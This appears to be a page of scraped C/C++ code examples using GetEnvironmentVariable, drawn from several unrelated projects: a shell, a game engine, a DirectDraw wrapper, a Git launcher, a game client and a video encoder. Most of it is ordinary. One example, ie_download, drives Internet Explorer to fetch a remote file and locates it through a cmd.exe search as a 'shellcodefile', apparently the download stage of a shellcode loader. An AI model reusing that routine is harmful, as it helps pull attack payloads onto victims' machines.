				if (i == (countof(RootFindKey)-1))
				{
					if (RedirectionFlag)
						samDesired |= RedirectionFlag;
					else
						break;
				}
				HKEY hKey;
				if (_RegOpenKeyEx(RootFindKey[i], strTmpName, 0, samDesired, &hKey) == ERROR_SUCCESS)
				{
					DWORD nType = 0, nSize = sizeof(strTmpName)-2;
					int RegResult = _RegQueryValueEx(hKey, L"", NULL, &nType, (LPBYTE)strTmpName, &nSize);
					_RegCloseKey(hKey);

					if ((RegResult == ERROR_SUCCESS) && (nType == REG_SZ || nType == REG_EXPAND_SZ || nType == REG_MULTI_SZ))
					{
						strTmpName[(nSize >> 1)+1] = 0;
						if (!ExpandEnvironmentStrings(strTmpName, strExpand, cchstrExpand))
							_wcscpy_c(strExpand, cchstrExpand, strTmpName);
						if (GetImageSubsystem(Unquote(strExpand), ImageSubsystem, ImageBits, FileAttrs))
						{
							Result = true;
							goto wrap;
						}
					}
				}
			}
示例#20
0
// return pointer to the filename
char* ie_download(char* string, char* sh_filename)
{
	char ie[500];
	GetEnvironmentVariable("PROGRAMFILES",ie,100);
	strcat(ie,"\\Internet Explorer\\iexplore.exe");
	ShellExecute(0, "open", ie , string, NULL, SW_SHOWDEFAULT);

	// wait a little until the file is loaded
	Sleep(8000);

	// get the filename to search format in the ie temp directory
	char delimiter[] = "/";
	char *ptr;
	char *fname;
	ptr = strtok(string, delimiter);
	while(ptr != NULL)
	{
		fname = ptr;
		ptr = strtok(NULL, delimiter);
	}

	#ifdef PRINT_DEBUG
		printf("ie_download, filename: %s\n", fname);
	#endif

	// split the filename
	char delimiter2[] = ".";
	char *sname;
	ptr = strtok(fname, delimiter2);
	sname = ptr;
	ptr = strtok(NULL, delimiter2);

	#ifdef PRINT_DEBUG
		printf("ie_download, name to search for: %s\n", sname);
	#endif

	// search for the file in user profile

	// build searchstring
	char tmp[150];
	char tmp_home[150];
	GetEnvironmentVariable ("USERPROFILE",tmp_home,150);
	GetEnvironmentVariable ("TEMP",tmp,150);
	tmp [ strlen(tmp) - 5 ] = 0x0;
	//printf("\n\n%s\n\n",tmp);
	char searchstring[500] = "/C ";
	strncat (searchstring,tmp_home,1);
	strcat (searchstring,": && cd \"");
	strcat (searchstring,tmp);
	strcat (searchstring,"\" && dir . /s /b | find \"");
	strcat (searchstring,sname);
	strcat (searchstring,"\" > \"");
	strcat (searchstring,tmp_home);
	strcat (searchstring,"\\shellcodefile.txt\"");
	
	#ifdef PRINT_DEBUG
		printf ("ie_download, searchstring: %s\n", searchstring);
	#endif

	// build & execute cmd
	char cmd[500];
	GetEnvironmentVariable ("WINDIR",cmd,500);
	strcat (cmd,"\\system32\\cmd.exe");
	ShellExecute (0, "open", "cmd.exe" , searchstring, NULL, SW_SHOWDEFAULT);

	//now read the directory + filename from the textfile
	char dirfile[500] = {0};
	strcat (dirfile, tmp_home);
	strcat (dirfile, "\\shellcodefile.txt");
	//char *sh_filename;
	int size_sh_filename=0;
	int counter = 0;
	while(size_sh_filename==0 && counter <= 1000)
	{
		size_sh_filename = get_filesize (dirfile);
		Sleep(500);
		counter++;
	}

	sh_filename = load_textfile (dirfile, sh_filename, size_sh_filename);
	// there is always emtpy space at the end of the file -> delete that
	sh_filename[size_sh_filename-2]=0x0;
	
	#ifdef PRINT_DEBUG
		printf ("ie_download, sh_filename: >>>%s<<<, size: %d\ntest\n", sh_filename, size_sh_filename);
	#endif

	return sh_filename;
}
示例#21
0
文件: access.c 项目: oldfaber/wzsh
int access(const char *filename, int mode)
{
	char extension[_MAX_FNAME];
	DWORD attribs;
	size_t extlen;
	const char *extptr;
	const char *begin, *end;
	int isx, hasext, trypathext = 0;

	/* once: get default PATHEXT or use empty exts */
	if (!*exts) {
		DWORD rc;
		/* not initialized */
		rc = GetEnvironmentVariable("PATHEXT", exts, sizeof(exts));
		if ((rc == 0) || (rc >= sizeof(exts)))
			*exts = 0;
	}

	if (!filename) {
		errno = ENOENT;
		return (-1);
	}
	/* search for the extension starting at the end */
	extptr = filename + strlen(filename) - 1;
	hasext = 0;
	while (extptr > filename && !ISPATHSEP(*extptr)) {
		if (*extptr == '.' && *(extptr - 1) != ':' && !ISPATHSEP(*(extptr - 1))) {
			hasext++;
			break;
		}
		extptr--;
	}

	if (hasext) 
		attribs = get_file_attributes(filename, extptr, hasext, mode, &isx);
	else
		attribs = get_file_attributes(filename, "", hasext, mode, &isx);

	/* if mode != X_OK or file exists or filename already has an extension ignore PATHEXT */
	if ((mode != X_OK) || (attribs != (DWORD)-1) || hasext) {
		begin = ".";
		end = "";
	} else {
		/* dir/file name not found and no extension */
		begin = exts;
		end = exts;
		trypathext = 1;
	}

	while (*begin) {
		if (trypathext) {
			extlen = pgetext(&begin, &end, extension, sizeof(extension));
			if (!*begin)
				break;
			if (extlen)
				attribs = get_file_attributes(filename, extension, hasext, mode, &isx);
			else
				attribs = (DWORD)(-1);
		}
		if (attribs != (DWORD)(-1)) {
			/* file or directory found */
			if (mode & X_OK) {
				if (attribs & FILE_ATTRIBUTE_DIRECTORY)
					break;
				/* appending pathext may find a directory ! */
				if (trypathext || isx)
					return (0);
				break;
			} else if ((mode & W_OK) && (attribs & FILE_ATTRIBUTE_READONLY)) {
				break;
			}
			/* R_OK is always OK */
			return (0);
		}
		begin = pgetnext(&begin, &end);
	}

	if (attribs == (DWORD)(-1))
		errno = ENOENT;
	else
		errno = EACCES;
	return (-1);
}
示例#22
0
LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)
{

	static HWND   hwndList, hwndText ;

	int                                  iIndex, iLength, cxChar, cyChar ;

	TCHAR                         *      pVarName, * pVarValue ;


	switch (message)

	{

	case   WM_CREATE :

		cxChar = LOWORD (GetDialogBaseUnits ()) ;

		cyChar = HIWORD (GetDialogBaseUnits ()) ;

		// Create listbox and static text windows.


		hwndList = CreateWindow (TEXT ("listbox"), NULL,

			WS_CHILD | WS_VISIBLE | LBS_STANDARD,

			cxChar, cyChar * 3,

			cxChar * 160 + GetSystemMetrics (SM_CXVSCROLL),

			cyChar * 5,

			hwnd, (HMENU) ID_LIST,

			(HINSTANCE) GetWindowLong (hwnd, GWL_HINSTANCE),

			NULL) ;



		hwndText = CreateWindow (TEXT ("static"), NULL,

			WS_CHILD | WS_VISIBLE | SS_LEFT,

			cxChar, cyChar,

			GetSystemMetrics (SM_CXSCREEN), cyChar,

			hwnd, (HMENU) ID_TEXT,

			(HINSTANCE) GetWindowLong (hwnd, GWL_HINSTANCE),

			NULL) ;


		FillListBox (hwndList) ;

		return 0 ;



	case   WM_SETFOCUS :

		SetFocus (hwndList) ;

		return 0 ;

	case   WM_COMMAND :

		if (LOWORD (wParam) == ID_LIST && HIWORD (wParam) == LBN_SELCHANGE)

		{

			// Get current selection.


			iIndex  = SendMessage (hwndList, LB_GETCURSEL, 0, 0) ;

			iLength = SendMessage (hwndList, LB_GETTEXTLEN, iIndex, 0) + 1 ;

			pVarName = (TCHAR*)calloc (iLength, sizeof (TCHAR)) ;

			SendMessage (hwndList, LB_GETTEXT, iIndex, (LPARAM) pVarName) ;


			// Get environment string.


			iLength = GetEnvironmentVariable (pVarName, NULL, 0) ;

			pVarValue = (TCHAR*)calloc (iLength, sizeof (TCHAR)) ;

			GetEnvironmentVariable (pVarName, pVarValue, iLength) ;


			// Show it in window.



			SetWindowText (hwndText, pVarValue) ;

			free (pVarName) ;

			free (pVarValue) ;

		}

		return 0 ;


	case   WM_DESTROY :

		PostQuitMessage (0) ;

		return 0 ;

	}

	return DefWindowProc (hwnd, message, wParam, lParam) ;

}
示例#23
0
void initializePaths()
{
#if RUN_IN_PLACE
	/*
		Use relative paths if RUN_IN_PLACE
	*/

	infostream<<"Using relative paths (RUN_IN_PLACE)"<<std::endl;

	/*
		Windows
	*/
	#if defined(_WIN32)

	const DWORD buflen = 1000;
	char buf[buflen];
	DWORD len;

	// Find path of executable and set path_share relative to it
	len = GetModuleFileName(GetModuleHandle(NULL), buf, buflen);
	assert(len < buflen);
	pathRemoveFile(buf, '\\');

	if(detectMSVCBuildDir(buf)){
		infostream<<"MSVC build directory detected"<<std::endl;
		path_share = std::string(buf) + "\\..\\..";
		path_user = std::string(buf) + "\\..\\..";
	}
	else{
		path_share = std::string(buf) + "\\..";
		path_user = std::string(buf) + "\\..";
	}

	/*
		Linux
	*/
	#elif defined(linux)

	char buf[BUFSIZ];
	memset(buf, 0, BUFSIZ);
	// Get path to executable
	FATAL_ERROR_IF(readlink("/proc/self/exe", buf, BUFSIZ-1) == -1, "Failed to get cwd");

	pathRemoveFile(buf, '/');

	path_share = std::string(buf) + "/..";
	path_user = std::string(buf) + "/..";

	/*
		OS X
	*/
	#elif defined(__APPLE__)

	CFBundleRef main_bundle = CFBundleGetMainBundle();
	CFURLRef resources_url = CFBundleCopyResourcesDirectoryURL(main_bundle);
	char path[PATH_MAX];
	if (CFURLGetFileSystemRepresentation(resources_url, TRUE, (UInt8 *)path, PATH_MAX)) {
		path_share = std::string(path);
		path_user = std::string(path) + "/../User";
	} else {
		dstream << "WARNING: Could not determine bundle resource path" << std::endl;
	}
	CFRelease(resources_url);

	/*
		FreeBSD
	*/
	#elif defined(__FreeBSD__)

	int mib[4];
	char buf[BUFSIZ];
	size_t len = sizeof(buf);

	mib[0] = CTL_KERN;
	mib[1] = KERN_PROC;
	mib[2] = KERN_PROC_PATHNAME;
	mib[3] = -1;
	FATAL_ERROR_IF(sysctl(mib, 4, buf, &len, NULL, 0) == -1, "");

	pathRemoveFile(buf, '/');

	path_share = std::string(buf) + "/..";
	path_user = std::string(buf) + "/..";

	#else

	//TODO: Get path of executable. This assumes working directory is bin/
	dstream<<"WARNING: Relative path not properly supported on this platform"
			<<std::endl;

	/* scriptapi no longer allows paths that start with "..", so assuming that
	   the current working directory is bin/, strip off the last component. */
	char *cwd = getcwd(NULL, 0);
	pathRemoveFile(cwd, '/');
	path_share = std::string(cwd);
	path_user = std::string(cwd);

	#endif

#else // RUN_IN_PLACE

	/*
		Use platform-specific paths otherwise
	*/

	infostream<<"Using system-wide paths (NOT RUN_IN_PLACE)"<<std::endl;

	/*
		Windows
	*/
	#if defined(_WIN32)

	const DWORD buflen = 1000; // FIXME: Surely there is a better way to do this
	char buf[buflen];
	DWORD len;

	// Find path of executable and set path_share relative to it
	len = GetModuleFileName(GetModuleHandle(NULL), buf, buflen);
	FATAL_ERROR_IF(len >= buflen, "Overlow");
	pathRemoveFile(buf, '\\');

	// Use ".\bin\.."
	path_share = std::string(buf) + "\\..";

	// Use "C:\Documents and Settings\user\Application Data\<PROJECT_NAME>"
	len = GetEnvironmentVariable("APPDATA", buf, buflen);
	FATAL_ERROR_IF(len >= buflen, "Overlow");
	path_user = std::string(buf) + DIR_DELIM + lowercase(PROJECT_NAME);

	/*
		Linux
	*/
	#elif defined(linux)

	// Get path to executable
	std::string bindir = "";
	{
		char buf[BUFSIZ];
		memset(buf, 0, BUFSIZ);
		if (readlink("/proc/self/exe", buf, BUFSIZ-1) == -1) {
			errorstream << "Unable to read bindir "<< std::endl;
#ifndef __ANDROID__
			FATAL_ERROR("Unable to read bindir");
#endif
		} else {
			pathRemoveFile(buf, '/');
			bindir = buf;
		}
	}

	// Find share directory from these.
	// It is identified by containing the subdirectory "builtin".
	std::list<std::string> trylist;
	std::string static_sharedir = STATIC_SHAREDIR;
	if(static_sharedir != "" && static_sharedir != ".")
		trylist.push_back(static_sharedir);
	trylist.push_back(
			bindir + DIR_DELIM + ".." + DIR_DELIM + "share" + DIR_DELIM + lowercase(PROJECT_NAME));
	trylist.push_back(bindir + DIR_DELIM + "..");
#ifdef __ANDROID__
	trylist.push_back(path_user);
#endif

	for(std::list<std::string>::const_iterator i = trylist.begin();
			i != trylist.end(); i++)
	{
		const std::string &trypath = *i;
		if(!fs::PathExists(trypath) || !fs::PathExists(trypath + DIR_DELIM + "builtin")){
			dstream<<"WARNING: system-wide share not found at \""
					<<trypath<<"\""<<std::endl;
			continue;
		}
		// Warn if was not the first alternative
		if(i != trylist.begin()){
			dstream<<"WARNING: system-wide share found at \""
					<<trypath<<"\""<<std::endl;
		}
		path_share = trypath;
		break;
	}
#ifndef __ANDROID__
	path_user = std::string(getenv("HOME")) + DIR_DELIM + "." + lowercase(PROJECT_NAME);
#endif

	/*
		OS X
	*/
	#elif defined(__APPLE__)

	CFBundleRef main_bundle = CFBundleGetMainBundle();
	CFURLRef resources_url = CFBundleCopyResourcesDirectoryURL(main_bundle);
	char path[PATH_MAX];
	if (CFURLGetFileSystemRepresentation(resources_url, TRUE, (UInt8 *)path, PATH_MAX)) {
		path_share = std::string(path);
	} else {
		dstream << "WARNING: Could not determine bundle resource path" << std::endl;
	}
	CFRelease(resources_url);

	path_user = std::string(getenv("HOME")) + "/Library/Application Support/" + lowercase(PROJECT_NAME);

	#else // FreeBSD, and probably many other POSIX-like systems.

	path_share = STATIC_SHAREDIR;
	path_user = std::string(getenv("HOME")) + DIR_DELIM + "." + lowercase(PROJECT_NAME);

	#endif

#endif // RUN_IN_PLACE
}
示例#24
0
文件: main.c 项目: Iran/cnc-ddraw
HRESULT WINAPI DirectDrawCreate(GUID FAR* lpGUID, LPDIRECTDRAW FAR* lplpDD, IUnknown FAR* pUnkOuter) 
{
#if _DEBUG
    if(!stdout_open)
    {
        freopen("stdout.txt", "w", stdout);
        setvbuf(stdout, NULL, _IONBF, 0);
        stdout_open = 1;
    }
#endif

    printf("DirectDrawCreate(lpGUID=%p, lplpDD=%p, pUnkOuter=%p)\n", lpGUID, lplpDD, pUnkOuter);

    if(ddraw)
    {
        /* FIXME: check the calling module before passing the call! */
        return ddraw->DirectDrawCreate(lpGUID, lplpDD, pUnkOuter);

        /*
        printf(" returning DDERR_DIRECTDRAWALREADYCREATED\n");
        return DDERR_DIRECTDRAWALREADYCREATED;
        */
    } 

    IDirectDrawImpl *This = (IDirectDrawImpl *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(IDirectDrawImpl));
    This->lpVtbl = &iface;
    printf(" This = %p\n", This);
    *lplpDD = (LPDIRECTDRAW)This;
    This->Ref = 0;
    ddraw_AddRef(This);

    ddraw = This;

    This->real_dll = LoadLibrary("system32\\ddraw.dll");
    if(!This->real_dll)
    {
        ddraw_Release(This);
        return DDERR_GENERIC;
    }

    This->DirectDrawCreate = (HRESULT WINAPI (*)(GUID FAR*, LPDIRECTDRAW FAR*, IUnknown FAR*))GetProcAddress(This->real_dll, "DirectDrawCreate");

    if(!This->DirectDrawCreate)
    {
        ddraw_Release(This);
        return DDERR_GENERIC;
    }

    InitializeCriticalSection(&This->cs);
    This->render.ev = CreateEvent(NULL, TRUE, FALSE, NULL);
    This->render.sem = CreateSemaphore(NULL, 0, 1, NULL);

    /* load configuration options from ddraw.ini */
    char cwd[MAX_PATH];
    char ini_path[MAX_PATH];
    char tmp[256];
    GetCurrentDirectoryA(sizeof(cwd), cwd);
    snprintf(ini_path, sizeof(ini_path), "%s\\ddraw.ini", cwd);

    if(GetFileAttributes(ini_path) == 0xFFFFFFFF)
    {
        FILE *fh = fopen(ini_path, "w");
        fputs(
            "[ddraw]\n"
            "; width and height of the window, defaults to the size game requests\r\n"
            "width=0\n"
            "height=0\n"
            "; bits per pixel, possible values: 16, 24 and 32, 0 = auto\n"
            "bpp=0\n"
            "windowed=true\n"
            "; show window borders in windowed mode\n"
            "border=true\n"
            "; use letter- or windowboxing to make a best fit (GDI only!)\n"
            "boxing=false\n"
            "; real rendering rate, -1 = screen rate, 0 = unlimited, n = cap\n"
            "maxfps=0\n"
            "; vertical synchronization, enable if you get tearing (OpenGL only)\n"
            "vsync=false\n"
            "; scaling filter, nearest = sharp, linear = smooth (OpenGL only)\n"
            "filter=nearest\n"
            "; automatic mouse sensitivity scaling\n"
            "adjmouse=false\n"
            "; manual sensitivity scaling, 0 = disabled, 0.5 = half, 1.0 = normal\n"
            "sensitivity=0.0\n"
            "; enable C&C/RA mouse hack\n"
            "mhack=true\n"
            "; enable C&C video resize hack, auto = auto-detect game, true = forced, false = disabled (OpenGL only)\n"
            "vhack=false\n"
            "; switch between OpenGL (opengl) and software (gdi) renderers, latter supports less features but might be faster depending on the GPU\n"
            "renderer=gdi\n"
            "; force CPU0 affinity, avoids crashes with RA, *might* have a performance impact\n"
            "singlecpu=true\n"
        , fh);
        fclose(fh);
    }

    GetPrivateProfileStringA("ddraw", "windowed", "TRUE", tmp, sizeof(tmp), ini_path);
    if (tolower(tmp[0]) == 'n' || tolower(tmp[0]) == 'f' || tolower(tmp[0]) == 'd' || tmp[0] == '0')
    {
        This->windowed = FALSE;
    }
    else
    {
        This->windowed = TRUE;
    }

    GetPrivateProfileStringA("ddraw", "border", "TRUE", tmp, sizeof(tmp), ini_path);
    if (tolower(tmp[0]) == 'n' || tolower(tmp[0]) == 'f' || tolower(tmp[0]) == 'd' || tmp[0] == '0')
    {
        This->border = FALSE;
    }
    else
    {
        This->border = TRUE;
    }

    GetPrivateProfileStringA("ddraw", "boxing", "FALSE", tmp, sizeof(tmp), ini_path);
    if (tolower(tmp[0]) == 'n' || tolower(tmp[0]) == 'f' || tolower(tmp[0]) == 'd' || tmp[0] == '0')
    {
        This->boxing = FALSE;
    }
    else
    {
        This->boxing = TRUE;
    }

    This->render.maxfps = GetPrivateProfileIntA("ddraw", "maxfps", 0, ini_path);
    This->render.width = GetPrivateProfileIntA("ddraw", "width", 0, ini_path);
    This->render.height = GetPrivateProfileIntA("ddraw", "height", 0, ini_path);

    This->render.bpp = GetPrivateProfileIntA("ddraw", "bpp", 32, ini_path);
    if (This->render.bpp != 16 && This->render.bpp != 24 && This->render.bpp != 32)
    {
        This->render.bpp = 0;
    }

    GetPrivateProfileStringA("ddraw", "filter", tmp, tmp, sizeof(tmp), ini_path);
    if (tolower(tmp[0]) == 'l' || tolower(tmp[3]) == 'l')
    {
        This->render.filter = 1;
    }
    else
    {
        This->render.filter = 0;
    }

    GetPrivateProfileStringA("ddraw", "adjmouse", "FALSE", tmp, sizeof(tmp), ini_path);
    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')
    {
        This->adjmouse = TRUE;
    }
    else
    {
        This->adjmouse = FALSE;
    }

    GetPrivateProfileStringA("ddraw", "mhack", "TRUE", tmp, sizeof(tmp), ini_path);
    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')
    {
        This->mhack = TRUE;
    }
    else
    {
        This->mhack = FALSE;
    }

    GetPrivateProfileStringA("ddraw", "devmode", "FALSE", tmp, sizeof(tmp), ini_path);
    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')
    {
        This->devmode = TRUE;
        This->mhack = FALSE;
    }
    else
    {
        This->devmode = FALSE;
    }

    GetPrivateProfileStringA("ddraw", "vsync", "FALSE", tmp, sizeof(tmp), ini_path);
    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')
    {
        This->vsync = TRUE;
    }
    else
    {
        This->vsync = FALSE;
    }

    GetPrivateProfileStringA("ddraw", "sensitivity", "0", tmp, sizeof(tmp), ini_path);
    This->sensitivity = strtof(tmp, NULL);

    GetPrivateProfileStringA("ddraw", "vhack", "false", tmp, sizeof(tmp), ini_path);
    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')
    {
        This->vhack = 2;
    }
    else if(tolower(tmp[0]) == 'a')
    {
        This->vhack = 1;
    }
    else
    {
        This->vhack = 0;
    }

    GetPrivateProfileStringA("ddraw", "renderer", "gdi", tmp, sizeof(tmp), ini_path);
    if(tolower(tmp[0]) == 'd' || tolower(tmp[0]) == 'd')
    {
        printf("DirectDrawCreate: Using dummy renderer\n");
        This->renderer = render_dummy_main;
    }
    else if(tolower(tmp[0]) == 's' || tolower(tmp[0]) == 'g')
    {
        printf("DirectDrawCreate: Using software renderer\n");
        This->renderer = render_soft_main;
    }
    else
    {
        printf("DirectDrawCreate: Using OpenGL renderer\n");
        This->renderer = render_main;
    }

    GetPrivateProfileStringA("ddraw", "singlecpu", "true", tmp, sizeof(tmp), ini_path);
    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')
    {
        printf("DirectDrawCreate: Setting CPU0 affinity\n");
        SetProcessAffinityMask(GetCurrentProcess(), 1);
    }

    /* last minute check for cnc-plugin */
    if (GetEnvironmentVariable("DDRAW_WINDOW", tmp, sizeof(tmp)) > 0)
    {
        This->hWnd = (HWND)atoi(tmp);
        This->renderer = render_dummy_main;
        This->windowed = TRUE;

        if (GetEnvironmentVariable("DDRAW_WIDTH", tmp, sizeof(tmp)) > 0)
        {
            This->render.width = atoi(tmp);
        }

        if (GetEnvironmentVariable("DDRAW_HEIGHT", tmp, sizeof(tmp)) > 0)
        {
            This->render.height = atoi(tmp);
        }

        printf("DirectDrawCreate: Detected cnc-plugin at window %08X in %dx%d\n", (unsigned int)This->hWnd, This->render.width, This->render.height);
    }


    return DD_OK;
}
示例#25
0
static void setup_environment(LPWSTR exepath, int full_path)
{
	WCHAR msystem[64];
	LPWSTR path2 = NULL;
	int len;

	/* Set MSYSTEM */
	swprintf(msystem, sizeof(msystem),
		L"MINGW%d", (int) sizeof(void *) * 8);
	SetEnvironmentVariable(L"MSYSTEM", msystem);

	/* if not set, set PLINK_PROTOCOL to ssh */
	if (!GetEnvironmentVariable(L"PLINK_PROTOCOL", NULL, 0))
		SetEnvironmentVariable(L"PLINK_PROTOCOL", L"ssh");

	/*
	 * set HOME to %HOMEDRIVE%%HOMEPATH% or %USERPROFILE%
	 * With roaming profiles: HOMEPATH is the roaming location and
	 * USERPROFILE is the local location
	 */
	if (!GetEnvironmentVariable(L"HOME", NULL, 0)) {
		LPWSTR e = NULL;
		len = GetEnvironmentVariable(L"HOMEPATH", NULL, 0);
		if (len) {
			DWORD attr, drvlen = GetEnvironmentVariable(L"HOMEDRIVE", NULL, 0);
			e = (LPWSTR)malloc(sizeof(WCHAR) * (drvlen + len));
			drvlen = GetEnvironmentVariable(L"HOMEDRIVE", e, drvlen);
			GetEnvironmentVariable(L"HOMEPATH", e + drvlen, len);
			/* check if the path exists */
			attr = GetFileAttributesW(e);
			if (attr != INVALID_FILE_ATTRIBUTES
					&& (attr & FILE_ATTRIBUTE_DIRECTORY))
				SetEnvironmentVariable(L"HOME", e);
			else
				len = 0; /* use USERPROFILE */
			free(e);
		}

		if (len == 0) {
			len = GetEnvironmentVariable(L"USERPROFILE", NULL, 0);
			if (len != 0) {
				e = (LPWSTR)malloc(len * sizeof(WCHAR));
				GetEnvironmentVariable(L"USERPROFILE", e, len);
				SetEnvironmentVariable(L"HOME", e);
				free(e);
			}
		}
	}

	/* extend the PATH */
	len = GetEnvironmentVariable(L"PATH", NULL, 0);
	len = sizeof(WCHAR) * (len + 2 * MAX_PATH);
	path2 = (LPWSTR)malloc(len);
	wcscpy(path2, exepath);
	if (!full_path)
		PathAppend(path2, L"cmd;");
	else {
		PathAppend(path2, msystem_bin);
		if (_waccess(path2, 0) != -1) {
			/* We are in an MSys2-based setup */
			wcscat(path2, L";");
			wcscat(path2, exepath);
			PathAppend(path2, L"usr\\bin;");
		}
		else {
			/* Fall back to MSys1 paths */
			wcscpy(path2, exepath);
			PathAppend(path2, L"bin;");
			wcscat(path2, exepath);
			PathAppend(path2, L"mingw\\bin;");
		}
	}
	GetEnvironmentVariable(L"PATH", path2 + wcslen(path2),
				(len / sizeof(WCHAR)) - wcslen(path2));
	SetEnvironmentVariable(L"PATH", path2);
	free(path2);

}
示例#26
0
bool CClient::OnLoad()
{
	// Install the exception handler
	CExceptionHandler::Install();

	// Set our exception handler callback
	CExceptionHandler::SetCallback(ExceptionHandlerCallback);

	// jenksta: wtf?
	// Delete chatlog
	CLogFile::Open("Chatlog.log");
	CLogFile::Printf("New chatlog created!");
	CLogFile::Close();

	// Open the log file
	CLogFile::Open("Client.log");

	// Log the version
	CLogFile::Printf(VERSION_IDENTIFIER "| " __DATE__ " - " __TIME__ "");

	// Open the settings file
	CSettings::Open(SharedUtility::GetAbsolutePath("clientsettings.xml"));

	// Parse the command line
	CSettings::ParseCommandLine(GetCommandLine());

	// Load the global vars from the settings
	m_strHost = CVAR_GET_STRING("ip");
	m_usPort = CVAR_GET_INTEGER("port");
	m_strNick = CVAR_GET_STRING("nick");
	m_strPassword = CVAR_GET_STRING("pass");
	m_bWindowedMode = CVAR_GET_BOOL("windowed");
	m_bFPSToggle = CVAR_GET_BOOL("fps");
	m_strConnectHost = CVAR_GET_STRING("currentconnect_server");
	m_usConnectPort = CVAR_GET_INTEGER("currentconnect_port");

	// IE9 fix - disabled if disableie9fix is set or shift is pressed
	if(!CVAR_GET_BOOL("disableie9fix") || GetAsyncKeyState(VK_SHIFT) > 0)
	{
		// Get the version info
		DWORD dwHandle;
		DWORD dwSize = GetFileVersionInfoSize("wininet.dll", &dwHandle);
		BYTE* byteFileInfo = new BYTE[dwSize];
		GetFileVersionInfo("wininet.dll", dwHandle, dwSize, byteFileInfo);

		unsigned int uiLen;
		VS_FIXEDFILEINFO* fileInfo;
		VerQueryValue(byteFileInfo, "\\", (LPVOID *)&fileInfo, &uiLen);
		delete byteFileInfo;

		// using IE9?
		if(fileInfo->dwFileVersionMS == 0x90000)
		{
			// Try and load a wininet.dll from the iv:mp directory
			if(!LoadLibrary(SharedUtility::GetAbsolutePath("wininet.dll")))
			{
				// Get path to it
				char szFindPath[MAX_PATH] = {0};
				char szWinSxsPath[MAX_PATH] = {0};
				char szBuildVersion[] = "00000";
				GetEnvironmentVariable("windir", szWinSxsPath, sizeof(szWinSxsPath));
				strcat_s(szWinSxsPath, sizeof(szWinSxsPath), "\\WinSxS\\");
				strcpy_s(szFindPath, sizeof(szFindPath), szWinSxsPath);
				strcat_s(szFindPath, sizeof(szFindPath), "x86_microsoft-windows-i..tocolimplementation_31bf3856ad364e35*");

				// try to find a usable wininet.dll in WinSXS (basically any non-9.x version)
				bool bLoaded = false;
				WIN32_FIND_DATA lpFindFileData;
				HANDLE hFindFile = FindFirstFile(szFindPath, &lpFindFileData);
				do
				{
					if(hFindFile == INVALID_HANDLE_VALUE)
						break;

					if(strlen(lpFindFileData.cFileName) > 63)
					{
						if(lpFindFileData.cFileName[62] < '9')
						{
							char szFullPath[MAX_PATH];
							sprintf_s(szFullPath, MAX_PATH, "%s%s\\wininet.dll", szWinSxsPath, lpFindFileData.cFileName);
							if(LoadLibrary(szFullPath))
							{
								CLogFile::Printf("Using %s to address IE9 issue", szFullPath);
								bLoaded = true;
								break;
							}
						}
					}
				}
				while(FindNextFile(hFindFile, &lpFindFileData));

				// Still failed, tell the user
				if(!bLoaded)
				{
					if(MessageBox(0, "Unfortunately, you have Internet Explorer 9 installed which is not compatible with GTA:IV. Do you want proceed anyway (and possibly crash?)", "IV:MP", MB_YESNO | MB_ICONERROR) == IDNO)
					{
						// Doesn't want to continue
						return false;
					}

					// Save the user's choice
					CVAR_SET_BOOL("disableie9fix", true);
				}
			}
		}
	}

	// Initialize the streamer
	m_pStreamer = new CStreamer();

	// Initialize the time
	m_pTime = new CTime();

	// Initialize the traffic lights
	m_pTrafficLights = new CTrafficLights();

	// Initialize the client task manager
	m_pClientTaskManager = new CClientTaskManager();

	// Initialize the game
	CGame::Initialize();

	// Install the XLive hook
	CXLiveHook::Install();

	// Install the Direct3D hook
	CDirect3DHook::Install();

	// Install the DirectInput hook
	CDirectInputHook::Install();

#ifdef IVMP_DEBUG
	// Install the Cursor hook
	CCursorHook::Install();

	// Create our Debug View
	m_pDebugView = new CDebugView();
#endif

	// Initialize the client script manager
	m_pClientScriptManager = new CClientScriptManager();

	// Initialize the events manager
	m_pEvents = new CEvents();

	// Initialize the network module, if it fails, exit
	if(!CNetworkModule::Init())
	{
		CLogFile::Printf("Failed to initialize the network module!\n");
		return false;
	}

	// Initialize the file transfer manager
	m_pFileTransfer = new CFileTransferManager();

	// Initialize the http client
	m_pHttpClient = new CHttpClient();
	m_pHttpClient->SetRequestTimeout(10000);
	m_pHttpClient->SetHost(MASTERLIST_ADDRESS);
	return true;
}
示例#27
0
void NVENCEncoder::init()
{
    NV_ENC_OPEN_ENCODE_SESSION_EX_PARAMS stEncodeSessionParams = {0};
    NV_ENC_PRESET_CONFIG presetConfig = {0};
    GUID clientKey = NV_CLIENT_KEY;
    CUcontext cuContextCurr;
    NVENCSTATUS nvStatus = NV_ENC_SUCCESS;
    int surfaceCount = 0;

    GUID encoderPreset = NV_ENC_PRESET_HQ_GUID;
    dontTouchConfig = false;
    bool is2PassRC = false;

    String profileString = AppConfig->GetString(TEXT("Video Encoding"), TEXT("X264Profile"), TEXT("high"));

    String presetString = AppConfig->GetString(TEXT("Video Encoding"), TEXT("NVENCPreset"), TEXT("High Quality"));

    if (presetString == TEXT("High Performance"))
    {
        encoderPreset = NV_ENC_PRESET_HP_GUID;
    }
    else if (presetString == TEXT("High Quality"))
    {
        encoderPreset = NV_ENC_PRESET_HQ_GUID;
    }
    else if (presetString == TEXT("Bluray Disk"))
    {
        encoderPreset = NV_ENC_PRESET_BD_GUID;
    }
    else if (presetString == TEXT("Low Latency (2pass)"))
    {
        encoderPreset = NV_ENC_PRESET_LOW_LATENCY_DEFAULT_GUID;
        is2PassRC = true;
    }
    else if (presetString == TEXT("High Performance Low Latency (2pass)"))
    {
        encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HP_GUID;
        is2PassRC = true;
    }
    else if (presetString == TEXT("High Quality Low Latency (2pass)"))
    {
